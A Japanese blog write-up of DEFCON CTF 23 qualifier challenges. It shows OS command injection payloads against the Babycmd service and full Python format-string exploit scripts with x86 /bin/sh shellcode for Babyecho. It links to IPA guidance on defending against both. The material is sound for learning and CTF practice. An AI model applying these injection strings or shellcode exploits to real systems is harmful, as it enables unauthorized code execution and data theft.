DEFCON CTF 23予選 Write-up (解説付き(すこし))
今年のDEFCON CTFの予選が5月16日午前9時から48時間開催されていました。今回はチーム********としての参加ではなく、Team Enuに派遣される形で参加してきました。
今年は、比較的やさしいBaby’s First問題とPwn問題、リバースエンジニアリングのジャンルに属する問題が各数問あり、加えてWebとCoding Challengeが1問ずつありました。 複数ある問題の中でFlagをsubmitしたのは1問だけですが、いくつか正解までたどり着くところまで解けたのでWrite-upを記します。
目次
Babycmd
問題文
babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me:15491
問題
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
:
pingとhostとdigコマンドが実行できるアプリケーションにアクセスして、どうにかしてflagを獲得する問題。
逆アセンブルした結果、コマンド[スペース]引数として標準入力から渡すと、コマンドが( dig | ping | host | exit | help )かどうかで分岐し、引数が適切であるか、またIPアドレスかどうかをチェックし、コマンドをpopen経由で実行しているものでした。
strings
コマンドとgrep
で*%s*がある記述を探したところ、各コマンドは引数がIPアドレスなのかそれ以外かで分岐し、
タイプ | 実行コマンド |
---|---|
dig (IPアドレス) | dig -x 引数 |
dig(文字列) | dig '引数' |
ping(IPアドレスのみ) | ping -c 3 -W 3 引数 |
host(IPアドレス) | host 引数 |
host(文字列) | host "引数" |
としてpopenで実行されるようになっていました。
適当にPublic DNS宛にPingを送ってみると以下のような表示になりました。
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_req=1 ttl=128 time=9.51 ms
64 bytes from 8.8.8.8: icmp_req=2 ttl=128 time=9.53 ms
64 bytes from 8.8.8.8: icmp_req=3 ttl=128 time=9.95 ms
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0 0x7fffd2999630acket loss, time 2005ms
rtt min/avg/max/mdev = 9.515/9.667/9.956/0.219 ms
Commands: ping, dig, host, exit
:
pingの出力結果に含まれる**% Packet**が、フォーマット文字列の*%p*として解釈され、アドレスが表示されていることがわかりました。format string attack(後述)として攻められるような感じがしましたが、他の人が取り組んでいるようなので違う方法でアプローチをしていくことにしました。
digとhostに文字列を渡した時の括りがそれぞれ違うことに注目しました。digではシングルクオートで、hostではダブルクオートでくくって引数を渡しています。
シェル上では、ダブルクオートの文字列の中で変数を展開できます。echo "$SHELL"
とすると*/bin/bash*と出力されるのがいい例です。今回の問題の場合は、host $SHELL
として標準入力から渡すと、host "/bin/bash"
として実行されると考えられます。
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host $PWD
Invalid hostname.
Commands: ping, dig, host, exit
:
しかしながら、試しにhost $PWD
として打ってみたところ、引数チェックで引っかかり、popenで実行されませんでした。
逆コンパイルの結果、引数チェックでは最初と最後の文字が数字もしくはアルファベットでない場合にエラーとして実行させないようにしていることがわかったので、host A${PWD}A
として実行してみました。
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host $PWD
Invalid hostname.
Commands: ping, dig, host, exit
: host A${PWD}A
Host A/A not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
:
変数展開されていることが確認できました。/ディレクトリがカレントディレクトリのようです。
攻撃手法:OSコマンド インジェクション
これができることがわかると、次に挑戦したくなるのは変数中のコマンド展開によるOSコマンド インジェクションです。
コマンド展開とは、ダブルクオート中に変数を展開するのと同じ要領で、$(コマンド)としてコマンドを実行し、文字列中にコマンドの出力を展開するものです。例として、echo "$(uname)"
とするとLinuxと返ってきます。これを用いて実行中のユーザーを確認します。
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host A$(whoami)A
Host AbabycmdA not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
:
babycmdユーザーとして実行されていることがわかりました。 そこで、ホームディレクトリ内のファイル一覧を取得してみることにしました。
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host A$(ls /home/babycmd)A
sh: 1: ls/home/babycmd: not found
Host AA not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
:
引数に渡される文字列に含まれるスペースが削られるようです。タブで代用してみました。
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host A$(ls /home/babycmd)A
Host Ababycmd
flagA not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
ホームディレクトリにbabycmdとflagというファイルがあることがわかりました。 catのリダイレクトでflagを抜いてしまいます。
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host A$(cat</home/babycmd/flag)A
Host AThe flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??A not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
:
FLAG:Pretty easy eh!!~ Now let's try something hArd3r, shallwe??
OSコマンドインジェクションに関連する脆弱性対策をIPAが公開してくれているので、CTFのためにも自衛のためにも一度目を通しておくことをお勧めします。
IPA ISEC セキュア・プログラミング講座:C/C++言語編 第10章 著名な脆弱性対策:コマンド注入攻撃対策
Babyecho
問題文
babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me:3232
問題
Reading 13 bytes
標準入力で待ち受けしているので、文字列を送ると標準出力にそのまま的確に返してくれるプログラムにアクセスしてflagを得る問題です。
Reading 13 bytes
%p.%p.%p.%p
0xd.0xa.(nil).0xd
Reading 13 bytes
0123456789abcdef
0123456789ab
Reading 13 bytes
def
Reading 13 bytes
フォーマット文字列が使えて、12文字を越えると次の入力として処理されるようです。
バイナリをstrings
コマンドでみてみると、入力待ちの直前に表示されているReading 13 bytesの13という数字は可変であることがわかります。
$ strings ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d | grep Reading
Reading %d bytes
フォーマット文字列を使ってスタックの中身をもうすこしみてみます。
Reading 13 bytes
AAAA%5$p
AAAA0xffea839c
Reading 13 bytes
AAAA%6$p
AAAA(nil)
Reading 13 bytes
AAAA%7$p
AAAA0x41414141
Reading 13 bytes
AAAA%7$pを渡した状態の時、以下のようにスタック(esp)に積まれていることがわかります。
esp+0x1cの位置から標準入力の値の格納バッファーが確保されているようです。
先ほど調査したスタックをみてみると、読み込みバイト数らしき13(=0x0000000d)が2箇所積まれているのがわかります。 IDA pro (demo)で入力待ちになるときの直前の処理を追ってみます。
この入力と出力を繰り返すループ(0x08048FB6)の直前の処理で、サイズ0x420のスタックを用意し、スタック内の値をいくつかセットしているところがあります。この値のセットで、esp+0x14にesp+0x1cのアドレスをセットしている部分があります(0x08048f57)。esp+0x1cは、先ほどの調査より標準入力の値が格納されるバッファーの開始位置です。このことから、先ほどAAAA%5$pを入力して返ってきた値0xffea839cは、標準入力からの値を格納するバッファーのアドレスを指しているということになります。
loc_8048fb6のループを見てみると、“Reading %d bytes\n”で表示されるバイト数をesp+0x10からesp+0x04にコピーしている処理があります(0x08048fcc)。printfで”Reading %d bytes\n”を表示した後、 esp+0x08に0x0aを入れ、標準入力からの読み取り上限をesp+0x10からesp+0x04にコピーしてセットし、esp+0x1cに標準入力からの値を読み取っています。
攻撃手法:format string attack
これらの調査をもとに、バッファーに読み込むバイト数が格納されているesp+0x10の値を、esp+0x14に格納されているesp+0x1cのアドレスをもとに書き換え、読み込むバイト数の上限を書き換えて、format string attackで攻撃コードを送り込む余地をつくる作戦が考えられます。 アプローチとしては以下の図のようになります。
13バイト制限のため、2回に分けてこの方法を試行します。 まず1回目に、%5$10pと入力することによって、esp+10に格納されているバッファーのアドレスを取得します。
そのアドレスから0x0bを引くことによって、バッファーの読み込みバイト数が格納されているアドレスの1バイト上位のアドレスを計算します。 これは、一度に送ることができる文字数が制限されていることによって、**自由に大きな数値を指定できないため、**バッファーのバイト数格納位置の1バイト上位に文字列長を書き込む方法をとったためです。今回の最大13バイトの入力という制限下では、最大でも9までしか数値を指定できません。それをそのままバッファー読み込みバイト数に格納しても、現状の13バイトより減ってしまいます。そのため、書き込む位置を上位にずらすことで、結果的にその数値をビットシフトによる掛け算で大きくし、バイト数制限の値を拡張しています。
そして2回目の入力時に、先ほど計算したアドレスへ文字数である4を、%nフォーマット文字列を使って書き込みます。これによって、現在0x0000000bとなっている読み込みバイト数を、0x0000040bに書き換えることができます。
コードは以下のようになります。
#!/usr/bin/env python
import sys
import socket
import struct
HOST = 'localhost' # 'babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me'
PORT = 3232
s = socket.create_connection((HOST, PORT))
def exploit():
index = 7 # index of read/write buffer
print(s.recv(8192))
s.send("%5$10p\n") # request buffer address
addr_buf = int(s.recv(10), 16)
print("[DEBUG] Buffer address = 0x%x" % addr_buf)
code = struct.pack('<I', (addr_buf - 0xb)) # address[buffer size limit] << 8
code += "%%%d$ln\n" % index # write message text length = 4
s.recv(8192)
s.send(code) # overwrite buffer
s.recv(8192)
print(s.recv(8192))
if __name__=='__main__':
exploit()
実行してみると、以下のようになりました。
Reading 13 bytes
[DEBUG] Buffer address = 0xffbf62bc
Reading 1023 bytes
1度にバッファーに読み込み可能な文字数の上限が変化しました。esp+0x10の値は、esp+0x11に4を書き込んだことから、0x0000040d、すなわち1037になるはずですが、ループを繰り返すたびに値のチェックがあり、1023を超える場合は1023に書き戻す処理があるので、上限が1023 bytesになりました。
これだけあれば、shellcodeを送り込んで実行させることができます。サブルーチンコールの呼び出し元であるリターンアドレスを書き換え、shellcodeを実行させてフラッグを獲得しに行きます。
#!/usr/bin/env python
import sys
import socket
import struct
HOST = 'localhost' # 'babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me'
PORT = 3232
s = socket.create_connection((HOST, PORT))
def exploit():
index = 7 # index of read/write buffer
print(s.recv(8192))
s.send("%5$10p\n") # request buffer address
addr_buf = int(s.recv(10), 16)
print("[DEBUG] Buffer address = 0x%x" % addr_buf)
code = struct.pack('<I', (addr_buf - 0xb)) # address[buffer size limit] << 8
code += "%%%d$ln\n" % index # write message text length = 4
s.recv(8192)
s.send(code) # overwrite buffer
s.recv(8192)
print(s.recv(8192))
# x86 /bin/sh shellcode
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
addr_ret = addr_buf - 0x20 # call return address = [esp]
payload = struct.pack('<I', addr_ret) \
+ struct.pack('<I', addr_ret + 1) \
+ struct.pack('<I', addr_ret + 2) \
+ struct.pack('<I', addr_ret + 3) \
+ shellcode
addr_shell = [
addr_buf + 16 >> 0 & 0xff,
addr_buf + 16 >> 8 & 0xff,
addr_buf + 16 >> 16 & 0xff,
addr_buf + 16 >> 24 & 0xff ]
payload += "%%%dc%%%d$hhn" % ((addr_shell[0] - len(payload)) & 0xff, index) \
+ "%%%dc%%%d$hhn" % ((addr_shell[1] - addr_shell[0]) & 0xff, index + 1) \
+ "%%%dc%%%d$hhn" % ((addr_shell[2] - addr_shell[1]) & 0xff, index + 2) \
+ "%%%dc%%%d$hhn" % ((addr_shell[3] - addr_shell[2]) & 0xff, index + 3) \
+ "\n"
s.send(payload) # exploit
s.send("cat</home/babyecho/flag\n") # capture the flag
print(s.recv(8192))
print(s.recv(8192))
if __name__=='__main__':
exploit()
実行結果は以下のとおりです。
Reading 13 bytes
[DEBUG] Buffer address = 0xffbf62bc
Reading 1023 bytes
彙ソ… 拊ソ… 枌ソ… 歟ソ… j
X儚h//shh/bin峨1ノヘ^\
…
…
The flag is: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%
FLAG:1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%
今回の攻撃手法もIPAによって丁寧に解説及び対策が掲載されているので、詳しく知りたい場合は参考に見てみるのも良いでしょう。
IPA ISEC セキュア・プログラミング講座:C/C++言語編 第10章 著名な脆弱性対策:フォーマット文字列攻撃対策
その他
Coding Challengeという、問題サーバーからレジスタの初期状態と機械語の命令コードが送られてきて、その命令を実行したあとのレジスタの値を送り返すという問題も解いたのですが、違う問題でglibcのアップデートをした際にマシンがクラッシュし、スナップショットの状態に戻した際に消えてしまいました。 なのでコードがありません。
問題文
meow
catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me
解法としては、Pythonで以下のように処理するものを作成して実行しただけです。
- レジスタの初期状態と機械語命令コードを受信&パースする
- Cのソースコードを生成
- 命令コードをunsigned char型配列に突っ込む
- その配列を関数ポインタに変換
- mprotectで配列の領域を実行可能に変更
- asm volatile経由でレジスタの初期状態を書き込む
- 関数ポインタを呼び出し実行
- asm volatile経由で実行後のレジスタの値を読み出す
- 標準出力に出力
- gccでソースコードをコンパイル
- 生成したバイナリを実行し、出力を得る
- 出力を送信
となっています。 途中、mprotectに関してみむらさんからアドバイスをいただき、解くことができました。
Cコード中にマシン語を埋め込んで実行する。 | みむらの手記手帳
FLAG: Cats with frickin lazer beamz on top of their heads!
Tip
追記:flag獲得者のみむらさんによるWrite-upが公開されています。 DEFCON CTF 23 Quals – catwestern Writeup | みむらの手記手帳
まとめ
チーム全体で計19ポイントを獲得し、結果33位でした。1ポイントしか貢献できませんでしたが、大人数でお互い協力して問題を解く楽しさを味わえてとても有意義でした。 また、問題傾向がPwn寄りであることから、もっとPwnに関する実力をつけなければならないと再確認できた良い機会でした。 来年は5ポイントを目標に挑みたいと思います!